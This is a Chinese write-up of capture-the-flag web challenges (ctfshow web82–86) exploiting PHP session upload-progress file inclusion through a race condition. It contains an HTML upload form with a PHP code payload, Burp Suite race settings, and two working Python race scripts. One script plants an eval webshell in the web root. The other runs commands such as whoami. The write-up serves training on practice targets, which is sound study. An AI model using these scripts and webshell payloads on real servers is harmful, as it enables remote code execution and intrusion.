目录
1、web82
新增过滤点 . ,查看提示:利用 session 对话进行文件包含,通过条件竞争实现。
条件竞争这个知识点在文件上传、不死马利用与查杀这些里面也会涉及,如果大家不熟悉条件竞争可以先看看我之前的博客在文件上传中的介绍:
wzsc_文件上传(条件竞争)_竞争条件文件上传-CSDN博客
大致说一下这道题的利用点:
我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空,我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行。
首先我们写一个关于这道题的文件上传框:
内容如下:
注意替换为你自己题目的地址,并将文件命名为 .html 后缀,双击即可打开,其中value="<php system('ls'); >" 其实就是我们的 payload,即我们希望执行的恶意代码。
<!DOCTYPE html>
<html>
<body>
<form action="https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show//" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
双击打开页面,开启 burpsuite 拦截本地请求,随便选一个文件上传提交:
使用 burpsuite 抓包,抓到后发给攻击模块:
按照前面说的利用点,我们需要对 Cookie 进行添加:PHPSESSID=exp(可以自定义的)
接下来就是条件竞争的设置,这里不涉及什么参数的爆破,因此清空掉 $
payload 选择 null (也就是没有),并且勾选上无限重复
我之前的 burpsuite 有一个选项里面可以设置线程数:
现在用的这个 burpsuite 有点不一样,应该是这里:
目前我们设置的是上传包的线程数,这里以 30 为例
之后开始攻击,我们就会不断的上传一个包含了恶意代码的文件
回到题目所在页面,我们需要再抓一个访问包,访问的文件是上面我们自定义的,我这里是:
?file=/tmp/sess_exp
因为我们前面也说了,我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test。
使用 burpsuite 抓包:
同样清空掉 $,payload 设置为 null,勾上无限重复:
特别注意一点,访问包的线程数需要大于上传包的线程数,这里以 80 为例:
之后也开始攻击,我们就会不断去访问是否存在文件/tmp/sess_exp
一旦在服务器还未来得及删除我们上传的文件,而被我们成功访问时,根据题目的 php 代码,就会将该文件包含,进而执行我们的恶意代码。
一边不停地上传,一边不停地访问,之所以可以访问到,是因为我们访问的线程数更大:
过一会筛选长度,即可发现条件竞争成功的包:
ls 命令执行成功
修改上传包的 payload,读取 fl0g.php:
条件竞争成功:
拿到 flag:ctfshow{fb4d01d5-8eea-4f79-9d9a-05db3a7d0c9c}
在网上也找到了这类题的攻击脚本:
竞争成功写入一句话木马
import requests
import io
import threading
url='https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}
'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''
# /tmp/sess_sessionid 中写入一句话木马。
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
while True:
response=session.post(
url+'?file=/tmp/sess_'+sessionid,
data=data,
cookies={
'PHPSESSID':sessionid
}
)
# 访问木马文件,如果访问到了就代表竞争成功
resposne2=session.get(url+'muma.php')
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
# 写入和访问分别设置 5 个线程。
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
运行看到 ++++++done++++++ 之后说明木马写入成功
访问 muma.php 并调用:
a=system('ls');
可以看到我们写入的木马,就在当前目录
读取 flag:
a=system('tac fl0g.php');
2、web83
新增两个函数:
session_unset();
session_destroy();
两者都是 PHP 中与会话(session)管理相关的函数,用于清除和销毁会话数据。
session_unset():
作用: 清空当前会话中的所有变量。
使用场景: 当你希望保留会话但清除会话中的数据时使用。例如,你可能想让用户保持登录状态,但重置会话中的特定数据。
示例:
session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_unset(); // 清空所有会话变量
echo isset($_SESSION['username']); // 输出: bool(false)
session_destroy():
作用: 完全销毁会话,包括会话数据和会话ID。
使用场景: 当你希望用户完全登出或结束会话时使用。例如,用户点击"注销"按钮时,通常会调用此函数。
示例:
session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_destroy(); // 销毁会话
echo isset($_SESSION['username']); // 输出: bool(false)
总结:
session_unset()只是清空会话变量,但会话仍然存在。
session_destroy()完全销毁会话,包括会话数据和会话ID。
两者常常一起使用,以确保会话数据被清除,并确保会话本身被销毁:
session_start(); // 开始会话
session_unset(); // 清空所有会话变量
session_destroy(); // 销毁会话
这两个函数对于我们这里的条件竞争影响不大,在第一题中我们已经介绍过利用的原理了,因此后面我就不再演示手动的步骤,直接使用脚本来打。
这里给到另一个脚本,我们直接执行命令:
#coding=utf-8
import io
import requests
import threading
sessid = 'exp'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/?file=/tmp/sess_'+sessid,data=data)
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
运行脚本,whoami 命令执行成功
接下来我们执行 ls 命令:
存在 fl0g.php
读取 flag:
拿到 flag:ctfshow{b4f6c4ae-24c3-4bdf-b0cb-02d44a71069e}
3、web84
新增system("rm-rf/tmp/*"); 删除我们上传的文件,其实 session.upload_progress.cleanup = on 本身就会进行清空,所以这里对我们利用影响不大。
改一下题目地址继续读 flag:
拿到 flag:ctfshow{06f54734-37c6-4b2e-b9da-37df8d66555f}
4、web85
新增:
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
file_get_contents 函数将会读取文件的全部内容并将其作为字符串返回,strpos($content, "<") 查找字符串 $content 中首次出现字符 < 的位置,如果其位置索引大于 0,则会停止执行并输出 error 信息。
对我们条件竞争不影响,沿用上面的脚本:
拿到 flag:ctfshow{44cafdd4-f08a-483d-af45-19ed3229dd81}
5、web86
新增:
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
代码解释:
define 函数用于定义一个常量。在这里,它定义了一个名为 还要秀? 的常量。
dirname(FILE) 返回当前文件所在的目录路径。FILE 是一个魔术常量,表示当前文件的完整路径和文件名,而 dirname(FILE) 则获取当前文件的目录部分。
因此,这行代码将当前文件的目录路径赋值给名为 还要秀? 的常量。
set_include_path 函数用于设置 PHP 包含文件的搜索路径,在这里,它将包含路径设置为 还要秀? 这个常量的值,即当前文件的目录路径。
设置 PHP 的包含路径为当前文件的目录路径。这样在后续代码中使用 include() 时,可以省略文件的完整路径,只需提供文件名。
当使用 include()、require()、include_once() 或 require_once() 时,如果提供的路径既不是绝对路径也不是相对路径,PHP 会首先在 include_path 设置的目录中查找文件。
我们条件竞争进行包含的文件是一个完整路径,即 /tmp/sess_exp,因此不影响:
拿到 flag:ctfshow{8dc8c8cd-7851-4e2e-9afb-dfba214569d4}